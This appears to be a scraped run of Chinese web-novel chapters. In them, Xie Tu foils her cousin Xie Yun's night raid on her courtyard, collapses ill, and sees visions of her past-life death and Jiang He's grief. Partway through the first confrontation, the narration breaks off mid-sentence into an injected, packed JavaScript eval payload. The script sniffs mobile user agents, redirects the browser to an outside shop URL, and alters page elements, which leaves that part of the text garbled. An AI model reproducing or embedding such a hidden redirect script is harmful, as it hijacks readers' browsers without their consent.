屋内寂静无声,仅有风从内室里吹出来,将隔开内外室的湘竹帘吹得微微晃动,隐约有沙沙响声。 谢芸快步走了过去,伸手就径直挑开那作响的湘妃竹帘往里走去。 冷不丁地就撞到了一个人身上。 “谁!”谢芸吓了一大跳,往王妈妈身边靠了靠,大声呵斥。 那人站在湘妃竹帘之后,语气不善道:“深夜至此,芸妹妹这是何意?” 吟心伸手撩起湘妃竹帘,谢荼紧跟其后,从湘妃竹帘之后的黑暗中走了出来。 她的身上披着的是一件嫩黄色锦袍外衫,遮住的裙摆,明显是一件缎面寝衣。 “三婶婶没有教过你,深更半夜无端闯进旁人的闺房,有失体统吗?” 她的脸上没有什么血色,病恹恹的模样,像是刚在熟睡中吵醒,脸上还有软枕杠出来的红印。 “你……你怎么在这里?”谢芸惊愕不已,言语磕磕绊绊,颠三倒四,“你……不是不在府里吗?” “这个时辰,我不在屋子里睡觉,还能在哪儿?”谢荼神情不悦。 她瞥了一眼院子里乌泱泱的一堆人,再看向被那位妈妈钳住动弹不得的典心,黑色的眸子里涌现出隐藏不住的憎恶。 “倒是芸妹妹你。”谢荼沉着一张脸,问道,“三更半夜地不睡觉,带了这么多人跑到我的院子里来,到底想做些什么?” 一旁的王妈妈见状,扯了一把谢芸后,连忙解释道: “荼姑娘见谅,实则是今夜益晖堂中遭了贼,那贼人四处乱窜,似乎往重峦院的方向来了,是以我们姑娘担心姑娘的安危,这才带着仆从来抓捕。” “捉贼?”谢荼冷笑一声,声音带着鼻音显得嗡嗡的,“那不是官府的事情,轮得到你们?” “还有,捉着我的婢女,在我的院子里又打又砸,我看你们是想借着此事生出别的事端!” 那看呆了的仍然钳着典心不放的妈妈闻言,吓得一激灵,连忙松开手,把自己的汗巾从典心的嘴里拔出来。 典心连连呸了好几下,才将萦绕在喉头的恶心呕出去,跑到谢荼的身边大声告状: “姑娘,芸姑娘打着捉贼的旗号闯进我们院子里,不顾我的阻拦,愣是说您的内室里要么有贼人闯了进来,要么就说姑娘您不在屋子里。” “姑娘您看看,您辛辛苦苦亲手种的花花草草,全都被人霍霍干净了!” 典心被吓得不轻,喊着这些话出来的时候,已然带着哭腔,眼泪止不住地哗哗往外流。 被人揉皱的衣裳歪斜着套在身上,脸颊上黑一块白一块的,挂着泪珠,看起来分外可怜。 “既然如此。”谢荼木着一张脸,伸手揉了揉额角,看起来疲惫不堪,“典心,擦把脸去报官;吟心,去前院请父亲和哥哥。” 吟心应声就要往门外走,典心闻言也在揩掉眼泪应了声。 在场的人都吓得不敢吭声,全都看向惨白着一张脸的谢芸。 谢芸猛地回过神来,伸出手就去拉吟心,把她拉了个趔趄。 “等一下!”谢芸急道,“怎么还要报官?” 谢荼只觉得额角突突直跳,疼得厉害:“府中出了盗贼,赃物还未找回,自然是要报官。” “内宅之事,怎可惊动官衙!”谢芸满脸惊慌,“更何况丢失的恐是私密之物,官衙的人接手此事,恐会将闺阁之名玷污。” “那就让父亲和祖母定夺。” 谢荼实在是懒得再和她多费口舌,点头示意让吟心和典心二人依命办事,独自一人撩开湘妃竹帘回到内室,丢下满院子的人面面相觑。 “姑娘,这下可怎么办?” 那出头替谢芸捉住典心的妈妈抖如筛糠,满脸惶恐地问着谢芸。 谢芸心中也骇然不已,根本来不及回应。 她满脑子想的都是: 谢荼为何仍然在屋子里? 莫不是那传消息的人是假的? 可那人就是为谢荼看门的小丫头,她是见过的,绝对不会认错。 难道那小丫头看似投靠她,给她传递消息,实则是联合谢荼诓骗了她? 如果她们是故意的,搞这么一出,到底是为了什么? —————— 丑时一刻不到,京城谢府里竟然早早挂起了灯笼。 被半夜叫起来的谢愉恩面色不虞,阴沉着一张脸坐在益晖堂的正厅里等着谢老夫人起身。 身边坐着的谢英揉着惺忪睡眼,哈欠连天,勉强睁着一只眼睛端起手边的浓茶喝了一口。 “呸。”不小心喝进茶叶的他暗啐了一口,心中直道晦气。 谢愉恩冷瞥他一眼,吓得他立刻坐直了身子。 片刻没等来人的谢英实在是熬不住,又侧身问叫他来的吟心: “你家姑娘如何了,为何这个时辰把我们叫到益晖堂来?” 吟心垂眸回道:“兹事体大,奴婢不敢随意置喙主子们的事情。” 谢愉恩冷冷又看了他一眼,他不敢再多问,只得噤声坐直。 不多时,谢荼姗姗来迟,身后跟着的是脸色极为难看的谢芸,还有乌泱泱一大群仆妇。 “父亲,哥哥。” 谢荼挨个请安,谢芸也惨白着一张脸跟着问好。 “妹妹,怎么这般神态?”谢英最先看出了谢荼的不妥,连忙上前关心道。 “无妨,深夜叨扰父亲和兄长,实在是内心有愧。”谢荼不去看谢芸的反应,径直坐在了谢英下手的圈椅上。 “知道叨扰人还这般惊动长辈,你的眼里还有我们吗?” 谢老夫人同样阴沉着脸,被童妈妈搀扶着走到正厅中坐下,看向谢荼的眼眸中满是嫌恶。 “祖母可要问芸妹妹了。”谢荼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928126|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸不知所措,“今夜芸妹妹带了一堆仆妇闯进我的院子,说是益晖堂遭了贼,那贼人逃到了我的院子里,要搜查我的院子。” “我见事情重大,深觉不安,只想着报官,但妹妹不允我插手此事,因此,我只能叫来祖母和父亲,请二位定夺。” 谢老夫人闻言噎了一噎,转脸去看面如死灰的谢芸。 谢相府上遭贼,贼人还逃窜到闺阁小姐的院子里。 这等事情传到京城里去,家宅不宁的笑话,将会惹出多少人的讥笑来! 这个谢芸,自己的事情还没个着落,手就又伸到谢荼的院子里去,这不就被捉到把柄了吗? 究竟是什么事,非得用遭贼这种方式带着人大肆搜查院落的手法,岂不是落人口实? 她捏了捏手中的拐杖,沉吟片刻谨慎开口: “既然都是误会一场,芸丫头,你给荼丫头道个歉,我看今儿这事就算了了。” 谢愉恩眉头微皱,还没来得及开口,谢荼就接过话头: “是,祖母说的是,只是我那院子里损坏的东西,全都登记在册,妹妹悉数照价赔给我便是。” 提到银钱之事,手头向来很紧的谢芸就嚷嚷出声: “都是家里的东西,又是你用了许久的旧物件,凭什么就要让我全部照价赔偿?” 谢荼垂下眼睛,敛起眼眸中的愠色道: “得父亲抬爱,我院里的东西都是些精致素雅的摆件,却也是古董旧物,价值连城,是以都登记在册,以防婢女婆子们手脚粗笨损坏了去。” “至于那花园里的花草,都是从别处移栽回来的珍贵品种,进出所付款项均有账册,妹妹若是不信,可以叫来管事查验。” 谢芸急了,这银钱越说越多,她从谢愉恩那儿得来的嫁妆都不够填的。 “你别狮子大开口!若不是你深更半夜偷偷溜出去,我也不会带着人去你的院里捉你的错处!” 谢芸口不择言,直接将自己带人去重峦院大闹的事情全数自行抖落了出来。 言语落地,益晖堂正厅里一时静谧,针落可闻。 谢荼压下心中的怒意,冷冷开口:“难怪妹妹带着粗使婆子,不由分说就要闯进我的内室,原来是对姐姐我猜忌至如此地步。” “那妹妹可与我细说,夜半三更,我不在屋子里睡觉,又是去了何处,见了何人,可有人证、物证?” 谢芸咬牙,心生怒意,就是因为没有当场捉住她的错处,这才让自己落于下风,否则自己何须沦落到被她质疑的地步? “那院中少说也有数十人搜查,吵吵闹闹,姐姐为何一直在屋子里不吭声,显然是不在屋子里!” 谢荼抬头看了一眼谢愉恩,缓缓道: “实则今夜落雨,我在床前赏雨贪凉受了寒,入夜后只觉周身不适,拿了帮助睡眠的方子熬了碗要喝了睡下,因此也比常人睡得更沉些。” “典心说已经同你言明我在睡觉,不便打扰。你却不管不顾,指使婆子反钳住她的双手,还在她的嘴巴里塞了汗巾,让她口不能言。” “不知道这又是何道理呢?” 82. 昏厥 谢荼的眸子沁着寒意,手中茶盏往桌上一歌,似笑非笑地看着谢芸,惊得谢芸身上冷汗连连。 她努力按捺住心中的惊慌,磕磕绊绊解释起来: “是......的确是有人看见那贼人往重峦院的方向逃窜了去,我......我也是担心荼姐姐的安慰,这才着急命人按住典心,唯恐她的无知伤了荼姐姐的性命。” “我也只是救人心切,这才损毁了荼姐姐院子里的诸多花草摆件,二伯父,荼姐姐,求求你们原谅我吧!” 谢芸认错态度诚恳,面容焦急且脸颊挂着悔恨的泪珠,弱柳扶风的身姿摇摇欲坠,我见犹怜。 典心闻言,面色巨变,似是受到了极大地侮辱,提高嗓音大声道: “芸姑娘莫要胡说!” “我们重峦院素来看守极严,守门的妈妈更是恪尽职守,从不敢懈怠!院子里也有小丫头值守,怎可能会有贼人闯入,而我们做下人的全员不知呢!” “分明是芸姑娘另有所谋!” “老夫人,老爷,少爷,请你们明鉴,芸姑娘带着人强闯姑娘屋子的时候,口口声声说得是‘你们姑娘偷溜出去,倒还是我吃不了兜着走了不成?’” “芸姑娘不知道从哪里听说我们家姑娘三更半夜不在府里的荒唐言论,带着人非要强闯内室,偏要抓什么我们姑娘把柄!” “求主子们可怜可怜我们姑娘,我们姑娘规规矩矩地待在自己的家中,还要被人如此污蔑,实在是太可怜了!” 典心声泪俱下,将事情的经过交代得一清二楚,而谢荼则满脸疲惫地坐在圈椅上,静静地观察着谢老夫人和谢愉恩的表情。 谢老夫人皱眉,谢愉恩也同样皱眉。 可不知为何,他们两人竟然同时沉默着,没有开口。 倒是被揭发了真实意图的谢芸彻底慌了神。 她见谢老夫人没有出声呵止典心,也没有出声维护她,吓得她口不择言攀咬起来: “是......是荼姐姐昨夜值夜看守的小丫头告诉我的,说是荼姐姐趁着夜色带人偷溜出府了!” “祖母,二伯父,你们若是不行,就叫那小丫头来和我对峙!” “牛妈妈,快,把那个小丫头给我找出来!” 一旁看戏的谢英眉头一皱,刚发觉事情有些不简单,还没来得及阻止,畏缩在人后的那位牛妈妈,已经三步并作两步,扯出了混在仆从人群中的那个小丫头。 见婆子扯出了人,谢芸顿时有了底气,高声质问: “你说,你是不是亲眼看见你们姑娘偷溜出府去了!” 小丫头战战兢兢地看着厅上众人,声音如蚊蝇般弱小: “芸......芸姑娘,您说的,是什么意思啊?” 谢芸只觉得“轰”得一声,双耳嗡鸣。 “什么什么意思!”谢芸急得跳了起来,“明明就是你告诉牛妈妈,说是你家姑娘深夜出门去了。” 她转头看向捉人的那位牛妈妈,问道:“牛妈妈,是这个丫头吗?你不会认错了人吧?” 那牛妈妈也傻了眼:“没认错啊,奴婢绝对不会认错的!奴婢看了许久,和重峦院里的这个小丫头好不容易才搭上话,套了她的话头,才套出......” 牛妈妈说着说着察觉出不对劲来,连忙止住了话头。 但是事已至此,厅上的众人,还有谁不明白的呢? 谢芸竟然大胆如此,安排了自己身边人,时刻关注着重峦院的动静,还使了花样去套重峦院里主子的动向。 见自己的意图被人彻底摆在明面上,谢芸白了一张脸,双手紧紧钳着那小丫头的双肩,歇斯底里地喊道:“就是你说的,就是你告诉我的,你为什么不承认!” 那小丫头脸涨得通红,双目流出恐惧的泪水,口中不住地求饶道: “芸姑娘,芸姑娘求求您,奴婢当真是不知道到底发生了什么事?什么偷溜出府?什么被牛妈妈下套?姑娘您行行好,不要吓唬奴婢啊!” 小丫头声泪俱下,谢芸亦崩溃不已,而半站着准备阻止的谢英则傻了眼。 这是......策反没成功,反被利用了? 他震惊的把目光投向了谢荼那头,谢荼反倒是给了他一个让他放心的眼神。 谢英坐了回去,他就知道,他这个妹妹不是个会让自己吃亏的主儿! 谢老夫人额角青筋直跳,气得有一口气堵在胸口上不上下不下,憋得慌。 明明刚刚就可以用一场误会来结束今晚的闹剧,怎么突然发展成了如今这样不可收拾的地步了? 她觑了一眼仍旧端坐在一旁的谢愉恩,清了清嗓子开口呵斥起谢芸: “糊涂的孽障,还不给你荼姐姐赔礼道歉!” “关心你姐姐又何止如此,下回要用对方法!” 她拼命给呆傻得立在大厅中央的谢芸使眼色,顺手就抚起自己的胸口。 刚准备哼哼出声,只听“咚”地一声,伴随着尖叫,谢荼顺着圈椅滑落,竟然倒在了地上。 “姑娘!姑娘!”典心吟心迅速围了上去。 “快去宣太医!”谢英被突然的变故惊呆了。 只见他一蹦三尺高,跳到谢荼的跟前儿,抱起她的身子就往重峦院的方向跑,“要快!” 谢老夫人抚着胸口的动作僵在原地,愣愣地看着被谢英抱走的谢荼。 她这个被气着了的老婆子还没有倒下去,怎么那个小丫头却先倒了呢? 谢老夫人再次觑着谢愉恩的脸色。 只见他铁青着一张脸,重重的拍了下桌案,冷笑一声道: “查!给我好好查查!” “高山!拿上我的名帖去报官!既然我们府里进了贼人,就该好好查查到底被盗走了什么东西!” “谢善!把府里所有人都叫来!府里的管事到底是如何管理各个院落的?竟然需要借住在府里的姑娘带着人大张旗鼓的找人?” 亲眼看见谢荼软着身子直直倒下去,谢愉恩雷霆震怒,怒火冲天,势必要把这些搅家精彻底收拾干净。 “别!别去!”谢老夫人使劲浑身的力气,用力将手中的拐杖投掷出去,恰好砸在谢愉恩的脚边。 “不许报官!不许报官!”她气得连连跺脚,“你还想要多少人看我们府里的笑话!” “笑话不笑话的,不已经成事实 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谢英在一旁焦急地问道:“章太医,我妹妹如何了?” “谢姑娘心绪郁结于胸,血脉不畅,加上受了寒凉湿气,又受到惊扰,故而病发,陷入昏迷。” “若长此以往,恐伤了元气,还需静养,以药物调理,细除病根。” 章太医说着诊断结果时,谢愉恩恰好踏进屋子的大门。 一眼望过去,谢荼一张小脸儿深陷在软枕之中,脸色白得还不如她鬓发间的暖玉有色泽,唇色却红得像夏日里的浆果,妖艳异常。 “章太医,您有什么主意尽管说,我们府上必定全力配合!” 谢英听闻妹妹又是受寒又是心有淤积,唯恐她当真伤了元气,连忙向那位太医行礼求解救。 “姑娘已然高热,此时急需用温水擦身帮助降温,老朽也辅以针灸排热,待这高热散去,再用方子驱散寒湿之气。” “等姑娘的寒湿之气去除,老朽再开方子调以温养姑娘的心头血脉,纾解淤积之气,调养身子,拔出病根。” 典心领着药童去熬散热的药材,珠萍绿萍捧着备好的温水上前,吟心接过润湿的帕子开始给谢荼擦拭手背手腕。 谢愉恩捏紧了拳头,他看着悄无声息躺在罗汉床上的女儿,心中大痛。 高门大户娇养着的女孩子,如何得心气郁结的毛病? 定是自己这些日子对她的冷落,让自幼丧母而敏感的女儿有了些许感触,加上在谢芸婚事上的行动,女儿恐怕心里有了心思却又不敢透露。 女儿适才就说了,深夜睡不着,在床前观雨才受了寒。 闺阁女儿,何至于会睡不着? 那该死的谢芸,还敢堂而皇之地的仗着谢老夫人的命令,硬闯重峦院,给女儿难堪,女儿顾忌重重,只敢深夜叫来自己请示。 哎! 自己当真是糊涂了! 怎么就因为许多年前的一桩旧事,就被人给拿捏住了呢! 83. 入梦 谢愉恩懊悔不已,看着女儿如今脆弱的模样,心中哀痛不已。 他上前两步,柔声同章太医道: “章太医,若有什么急需的名贵药材,只管开口。您可一定要好好医治我的宝贝女儿啊!” 章太医正打开药箱拿出银针。 见当朝宰相如此客气拜托自己,连声道: “谢相不必心忧,下官定细细调理好谢姑娘的身子。” 谢愉恩再三谢过章太医,这才三步一回头地离开了谢芸的屋子。 谢英则目不转睛地坐在一旁,亲自盯着章太医用针扎了谢荼的几处穴位。 不过须臾,谢荼的额头上便出现了涔涔汗意,嘴唇上诡异的红色稍稍消退下去。 片刻之后,小灶台上退热药已熬好。 章太医这才收起银针缓缓开口道:“几位姑娘辛苦,用温水洗洗擦拭姑娘的身子,再缓缓服侍姑娘服下此药,半炷香的时间之后便可开始散热。” “届时,窗户可只留一条细缝,姑娘的寝被寝衣可换成薄的,令留位姑娘守着替谢姑娘擦拭散热发出来的汗。” “天亮之后,老夫再来问脉,斟酌用药。” “多谢章太医!” 谢英亲自去送老太医出门,屋子里的婢女们则都有条不紊地忙碌起来。 有换被子的,有给谢荼擦拭身子的,也有去端药喂水的。 不过片刻,便做妥当了章太医吩咐的所有事。 此时的谢荼并不知晓父亲谢愉恩心中的悔恨,也不知道小丫头们在忙些什么。 她只知道自己身子愈发轻柔,如同陷在细软的棉花里般舒服。 耳边能听到的声音越来越轻,越来越轻,轻到她仿佛已经出了那间屋子,身边没了一个人。 一道白光笼罩在她的身上,刺眼无比,她举起右手遮住双手,壮着胆子,伸出左手试探着往前走。 不过须臾,只觉身上一轻,眼前一黑,已然来到一个熟悉的地方。 阴森森、黑漆漆,黑暗深处还有虫蚁老鼠啮噬的声响。 谢荼大惊,难道之前所有的一切,都是自己死前的幻想? 她往后退了几步,猛然被一人撞出数米远。 但那冒冒失失的人没有回头看她一眼,仿佛她不存在于此一般。 谢荼这时才垂眸打量起自己,发现自己仍然穿着锦缎寝衣,但身子却是透明的。 那人步伐匆匆,脚步悬浮,一身粗布麻衣,肩颈瘦削身形狼狈。 那是……姜鹤? 他怎么会在这里? 谢荼不由自主地踮起脚步跟在了姜鹤身后,想要知道他是去干什么的。 姜鹤怀中抱着一团鼓鼓囊囊的包袱,大跨步地走进了地牢深处最里间的牢房。 “谢姑娘!” 姜鹤突然嘶吼出声,包袱应声落地。 狱卒的钥匙“丁零当啷”地碰触着牢房大门上的铁锁,哆哆嗦嗦,许久才打开大门。 见姜鹤已确定谢荼亡故,这才跌跌撞撞出去叫人。 谢荼跟在他的身后,在他蹲在墙根前才猛然察觉眼前发生的一切。 那是……那是她自己。 上一世服毒倒地的自己,上一世衣衫不整的自己,上一世死不瞑目的自己! “谢荼!醒醒!“姜鹤的声音颤抖着。 “你怎么这般傻!”姜鹤失声痛哭,双目猩红,“为什么没能等到我救你出去!” 倒在地上的“自己”已然咽气,双目睁圆的看向角落里惨死的父兄。 谢荼不敢往角落里看,眼泪已经扑簌簌往下坠。 姜鹤哭了好一阵,这才想起身边放着的那个布包袱。 他打开包袱,从里面掏出一件团花蜀绣的袄裙:“谢姑娘,我身上的银子不够多,只能买这样的袄裙给你。” 他轻手轻脚地给躺在地上的谢荼穿上,再用帕子擦净她脸上的血污。 谢荼背过脸去,不敢去看“自己”身上的伤痕。 姜鹤自言自语道:“本想着再多筹谋一阵,有把握了再救你,谁知那人竟然等不到彻查谢家案子的结果,暗地里直接置你们于死地。” “你放心,你的仇,谢家的冤,我一定会想尽一切办法替你们周全!” 姜鹤上手努力合上了谢荼的双眼,这才又哭出声来。 地牢外传来阵阵由远及近的脚步声,姜鹤立刻闪身从另一个方向逃了出去。 狱卒们慌里慌张上前查看,领头的人脸阴沉如水: “怎会如此?谢氏乃皇家要犯,怎么能死在狱中!” 我心中一颤,有个奇异的想法浮上心头:原来令我毒发身亡的鸩酒,并不是狱卒以正规手段送进来的。 “你刚刚说,有个年轻人带了个包袱进来看人?他人呢!”牢头揪起神色慌张去叫人的狱卒怒吼。 “刚刚还在这儿……许是看见人死了,被吓跑了。”狱卒浑身颤抖,人已被吓傻。 “啪——” 耳光声响彻牢房。 “胡说八道!”那牢头目眦欲裂,浑身冒着寒气道,“明明是那人假借探望的借口,带了有毒的东西进来毒死了谢氏女。” “去,给我把那人的长相画下来,我要将这件事报给大理寺!” “是!” 见此情形,谢荼心中万分焦急。 “自己”分明是被狱卒送来的酒水给毒死的,怎么能把此事栽赃给排除万难前来看望她的姜鹤呢! 她想冲出去向那些人解释清楚,又想伸出手去把那画像撕碎。 可是,似乎她越着急,她就越是被一股大力吸着往牢房外飞去。 “不要!” 谢荼眼睁睁地看着自己被吸着飘往空中,一阵白光笼罩过来,她又什么都看不见了。 不知过了多久,谢荼只觉得周身寒风刺骨,忍不住将自己蜷缩成一团。 白光渐渐消失,谢荼勉力睁眼,这才发现,自己似乎在一处乱葬岗上。 不远处,乌鸦枯树上“啊啊”叫着,秃鹫在低空盘旋,乱葬岗上尸骨四处可见,发出阵阵腐烂难闻的气味。 她眯着眼,才看清远处似乎有位身披铠甲的将军,正跪在地上,用双手挖着什么。 雪花飘落,乱葬岗的泥土地俨然已经冰冻如铁。 谢荼缓缓走到跟前,这才发现,跪着的正是姜鹤。 她不知道姜鹤的身上究竟发生了什么。 此时的姜鹤失了发冠,仅用一条黑色的布条将发束起,只留鬓边白发。 他脸颊瘦削,下巴坚毅薄唇紧抿,双目通红,身上的铠甲沾着斑驳血迹,铠甲之下的身躯清瘦异常。 越是靠近,血腥味越发浓重。 谢荼绕过他,蹲在他的面 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许是因为风化了的缘故,姜鹤的手指刚刚触碰到白骨,那截白骨便应声折断,碎成渣滓。 姜鹤再也忍不住,痛哭出声。 他攥紧了那件团花蜀锦袄裙,将泥坑里的白骨尽数捡起放在其中,细致扎好确定全无遗漏后,这才怀抱起那团花蜀锦袄裙,颤声道: “谢荼,我来带你回家!” 谢荼惊愕地看着这一切,心中为之动容。 姜鹤,他竟然,能为她做到如此地步! 他的那一身血水,那满头斑驳的头发,无一不预示着“自己”在他心中的重量。 四周静悄悄,谢荼定定地看着姜鹤抱着那一团东西,步履蹒跚,越走越远。 而自己的身子,也越来越轻,飘向空中。 —————— 姜府,飞霜院里漆黑一片。 姜鹤平躺在罗汉床上深陷睡梦之中,眉头紧蹙,神情焦急。 他看见一个长得很像自己的头发灰白的年轻人,手捧着一堆用团花蜀锦袄裙包裹着的白骨,缓步走到一个挖好的深坑中。 他蹲在坑边,口中絮絮叨叨念着什么,可是他根本听不清楚。 他只能看见,那人将那团白骨放在深坑里,亲手将深坑埋好。 又坐在坟墓边,手持刻刀,缓缓刻着墓碑上的字。 从白天刻到天黑,直到墓碑刻好,姜鹤这才看清楚墓碑上的字。 “爱妻谢荼之墓——姜鹤立” 谢荼之墓? 这人是“姜鹤”?那自己到底是谁? 姜鹤目眦欲裂,想要冲过去挖开那坟墓,看清楚里面埋的到底是谁。 “对不起,如果我能早点儿立起来,和他抗衡,你,你的父亲,你的兄长,还有我姜家数百口人,是不是就不会如此?” “现在,我已经杀了他为你们所有人报仇。” “那我,现在是不是可以来见你了。” 那人靠在墓碑边,口中念叨的话这才缓缓传进姜鹤的耳朵里。 姜鹤惊悚回眸,赫然看见一柄匕首深深地插进了那人的胸口,鲜血淋漓。 “我来了,你等等我。”那人闭上双眼,再无声息。 84. 关心 姜鹤猛然从睡梦中惊醒,胸腔剧烈地上下起伏着。 屋子里黑暗一片,只有月光透过窗棂的缝隙洒在他的床前。 他狠狠地掐了一把自己,剧痛让他彻底清醒过来。 方才梦中那般撕心裂肺的痛楚,让他恍若亲身经历一般。 这已经不是第一次他在梦中梦到这些,上一次是在隆山寺中,他只见到了一片朦胧中倒地不省人事的一个人。 可这一次,他却真真切切地看清了梦境中的人。 那是以为和他长着同样面容的人,虽然看起来比他沧桑了许多,可他非常确定,那就是他自己! 可是,那墓碑上刻着的,竟然是谢荼的名字。 谢荼……谢荼她竟然会死吗? 姜鹤翻身起床,走到圆桌边,给自己倒了大半杯冷茶,仰头一饮而尽。 透心的凉意激得他不由自主地打了个寒战。再次清醒了三分。 他能听清隔壁东厢房里薛素仍然捣鼓着药材的动静,也能听清自己“砰砰砰”的心跳声。 他的心紧紧地揪在了一起。 梦到这些场景,究竟是何寓意? 是老天在给他警示,让他提前预判,还是,如同话本里所说的那种前世今生? “主子!” 房门被轻轻叩响,陈全的声音在门外突然响起,在静谧的深夜中显得尤为突兀。 “何事?”姜鹤清了清嗓子回道。 陈全是个周全的人,除非要紧之事,否则绝对不会在深夜叨扰他的休息。 “谢府连夜请了太医上门,似乎是谢姑娘身上不好。”陈全走进门,神情严肃,“如今谢姑娘人还未醒。” 姜鹤回想起梦中失去挚爱的痛彻心扉,猛然抬头。 谢荼她…… “去和碧溪姐姐说一声,母亲睡醒后就来告诉我,我有要事,要和母亲说。” —————— 谢荼重病昏迷不醒,谢芸则被谢愉恩下了禁足令。 谢府上下仆从感受到府里的凝滞气氛,全都提心吊胆地忙着自己手上的事情。 又被谢善狠狠整顿了一番,那日被谢芸带着去重峦院闹事的下人全都关进了柴房听候发落,剩下的人自然也不敢再议论那日之事。 京兆府尹的官爷被高山请上门勘察了半日,最终得出结论:谢府根本没有贼人偷盗之事。 这样一来,谢芸打着谢老夫人的命令,带着一堆人到重峦院闹事的目的昭然若揭。 更何况,还有人证证明,她去了里屋,便打着要坐实谢荼“偷溜出府”的罪证,这才大闹了一场。 这下一来,谢愉恩对谢老夫人彻底寒了心,也对谢芸这个侄女儿深恶痛绝。 但他投鼠忌器,被谢老夫人拿捏着,只得放言:只要谢荼卧床一日,她谢芸就不得出益晖堂暖阁一步。 至于帮着谢芸狐假虎威的那些被关在柴房里的下人,谢愉恩寻了个由头,全部发卖至苦寒之地,也算是狠狠给谢府上下一个警告。 谢芸因此被禁足,落了脸面,却又不敢和谢愉恩去强调自己是待嫁的身份,只能在益晖堂里和谢老夫人抱怨。 谢老夫人被气得头疼,一时间也顾不上她的情绪,只称病卧床,并不想见她。 王妈妈是谢芸母亲的身边人,谢愉恩不便发落,只一并被压着同谢芸一起禁足。 她见谢老夫人也关起门来不想管此事,暗暗焦急,劝着谢芸赶紧想办法。 “我可怜的姑娘,若不是那阴毒的谢荼故意差遣小丫头来骗咱们,咱们也不会落入这般简单的圈套中!” “姑娘如今被禁足,可眼看着就要过礼成亲,这可如何是好。” “若此事再被游公子知晓,姑娘今后在游家可是要被压一辈子头的!” 谢芸自己心里也很焦急,可这件事也是王妈妈一手促成,她难免不迁怒于王妈妈: “妈妈说得难道我不知晓吗?这件事从头到尾都是妈妈在盯着,那小丫头如何诓骗了牛妈妈,妈妈难道不该自省吗?” 谢芸柳眉倒竖,不怒自威,王妈妈也是吓了一跳,连忙推脱: “那婆子办事不力,是奴婢查验不当,委实该罚。” “可是姑娘如今在谢府里孤立无援,奴婢实在是心疼,等姑娘顺当出嫁,奴婢自会去夫人面前领罚。” 王妈妈假模假样地抽出帕子擦了擦眼角,觑着谢芸的面色哭哭唧唧。 谢芸也觉得头疼,她如今手上能有的体贴人,除了贴身大丫鬟采露、采雪之外,也只有王妈妈了。 所以她当然不能责罚王妈妈。 她还需要王妈妈帮着她再干一些事情。 “妈妈莫哭,是芸儿不好。”谢芸温柔拉着王妈妈的手,劝道,“如今咱们被困在这谢府的四方天地里,只能自己想法子逃出生天了。” “妈妈附耳过来,我们自己想的法子,不能让外人知晓。”谢芸柔声道。 —————— 第三日清晨,东方刚刚露出鱼肚白,重峦院中发出一阵如雷般的惊呼声。 经过针灸、茶汤,以及药浴几番折腾后,谢荼终于退了热,脸色也不再像纸一样惨白,唇色也不再妖冶如瑰。 吟心跪在床前虔诚感激老天爷的垂怜,典心则蹦起来要去给太医送银子。 最后还是周妈妈劝好了两人,退热后的谢荼浑身黏腻汗湿,两人这才规规矩矩用温水给谢荼擦洗身子,换了干净衣裳继续沉睡。 谢愉恩早朝前特意来看了一眼女儿,见她呼吸已经趋于平稳,高热已退,这才安心出门上朝。 不到晌午,谢府门房前来了一位面生的妈妈。 来人递上的是定远将军府上的帖子,是以长宁郡主的名义上门探望。 门口守门的小厮战战兢兢地打听:“这位妈妈,您是打哪儿听说我们家姑娘身上不好的?” 那妈妈是个面慈温柔的女人,见小厮的脸色不太好,便半掩饰道:“今日早晨,京城富户人家就传遍了,谢相之女忽染重病,眼下昏迷不醒呢!” 小厮吓傻了。 昨夜之事,他虽然身为门房看守的人并不清楚其中细节,可是府中发卖好些人,谢总管也明令禁止再讨论姑娘后宅之事。 可显然,姑娘生病的事情,也不该是府外之人应该知晓的。 那位妈妈见小厮脸色惨白,没再追问 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“这便是其三了。”吟心深深叹了一口气道,“芸姑娘的婚事,可是正在紧锣密鼓地准备着。” “若自此我们姑娘名声受损,婚事不顺,那芸姑娘的婚事,是不是更要被老夫人拿出来好好谋划一番?” “奴婢说句大逆不道的话,老夫人的眼中素来没有我们姑娘的存在。恐怕她恨不得让芸姑娘能顶着我们姑娘的身份嫁出门去呢!” 这句话虽然骇人听闻,可向来不懂后宅之事的谢英确实是听懂了。 “我妹妹病重,她如何能李代桃僵?”虽说如此,可谢英仍然有不解之处。 “怕就怕她们要在姑娘的病情上动手脚。”吟心口中只说了最简单的一种可能,却已经叫谢英吓得遍体生寒。 实际上,吟心想得更多。 那夜,二丫给姑娘说的话,她也是听见了的。 她就怕老夫人在姑娘的身世上做手脚,彻底让姑娘失了身份,让芸姑娘光明正大代替姑娘作为谢府姑娘嫁出去。 若是如此,恐怕谢老夫人和芸姑娘,并不会满足于游乾那样身份的人家! —————— 游宅,后院,游乾正在和游母商议早晨听来的传闻。 “这谢家姑娘身子是不是太单薄了些,怎么就突然昏迷不醒、病入膏肓了呢?”游夫人忧心忡忡道。 “许是传话的人听岔了去。”游乾不在意道,“她们那样的高门大户人家,姑娘都是精心娇养着的,哪能随随便便就生了重病呢!母亲不必担忧!” “可是我听说,就连平日不怎么出门交际的长宁郡主,都亲自备了礼品,派了人上门去探望,只不过没有见到人就是。” “那也许是因为谢姑娘的哥哥榜上有名,那些人家也难道找到机会攀附一二。”游乾想起了挂在甲榜上的那个名字。 游母在屋子里来回踱步,半晌不安道: “不行,你还是去打听打听,看看谢姑娘到底什么毛病。” “虽说是个高门大户的姑娘,可我也不能让你娶个痨病女回来子嗣不顺。” 85. 好处 虽然母亲说的话不中听,可游乾心中也默默地打起了退堂鼓。 他已然中举,榜下捉婿的典故他自己也是有听说过的,并非他自大,他觉得,以他的行情,完全能等到高门大户的老爷来选婿。 所以,若没了谢家姑娘,他还是能找个高门女子做夫人。 “母亲放心,这件事我一定弄清楚。”游乾自己母亲面前打了包票。 随后,他便揣着家中所剩不多的银子出门,找旧时同窗吃酒。 